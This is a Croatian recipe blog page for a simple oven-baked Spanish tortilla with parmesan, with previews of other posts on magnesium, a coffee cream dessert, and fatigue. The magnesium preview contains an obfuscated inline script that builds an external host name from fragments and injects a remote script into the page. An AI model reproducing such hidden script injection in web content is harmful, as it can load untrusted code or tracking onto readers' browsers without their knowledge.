ŠPANJOLSKA TORTILJA - JEDNOSTAVNA VERZIJA SOČNOG KLASIKA




Španjolska tortilja - jednostavna verzija sočnog klasika 




Ova verzija španjolske tortilje inspirirana je kpoznatim klasikom, ali priprema se na jednostavniji način - i s malim talijanskim zaokretom u obliku parmezana. A umjesto kompliciranog okretanja u tavi, ovdje se sve odigrava u pećnici, što jamči da će vam tortilja uspjeti.




Španjolska tortilja 


Sastojci:

  • 900 g krumpira, oguljenog
  • 1 žlica soli (za kuhanje krumpira)
  • 1 srednji luk, nasjeckan
  • 3 žlice maslinova ulja
  • 8 jaja
  • svježe mljeveni crni papar
  • 30–35 g svježe naribanog parmezana
  • 20 g maslaca

.

Priprema:

  1. Krumpir stavite u srednje veliki lonac i prelijte vodom tako da bude potpuno prekriven. Posolite (oko 1 žlica soli) i zakuhajte. Smanjite vatru i kuhajte 20–25 minuta, dok krumpir ne omekša, ali da i dalje zadrži oblik. Ocijedite, ostavite da se ohladi pa narežite na tanke ploške (oko 3 mm).
  2. Zagrijte pećnicu na 200 stupnjeva. U tavi zagrijte 1 1/2 žlicu ulja na srednje jakoj vatri. Dodajte luk, posolite i pirjajte oko 10 minuta dok ne postane staklast i lagano zlatan. Prebacite ga u zdjelu s krumpirom.
  3. Jaja lagano umutite pa ih dodajte krumpiru i luku. Nježno promiješajte da se sastojci povežu – važno je da se ploške krumpira ne lijepe, već da ih jaje obloži. Posolite, popaprite i još jednom lagano promiješajte.
  4. U velikoj tavi (po mogućnosti od lijevanog željeza) zagrijte ostatak ulja i maslac. Kad se maslac zapjeni, ulijte smjesu i poravnajte površinu. Pospite parmezanom.
  5. Pecite na štednjaku nekoliko minuta dok se rubovi ne počnu stvrdnjavati, zatim premjestite tavu u pećnicu i pecite oko 20 minuta – dok sredina gotovo ne očvrsne, a rubovi lijepo ne porumene.
  6. zvadite tavu iz pećnice i ostavite da se tortilja malo ohladi. Nožem ili špatulom odvojite rubove, zatim je pažljivo okrenite na tanjur (po potrebi uz pomoć još jedne osobe).
  7. Poslužite tortilju toplu ili na sobnoj temperaturi, narezanu na komade. Odlično se slaže s umakom od češnjaka ili majonezom.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više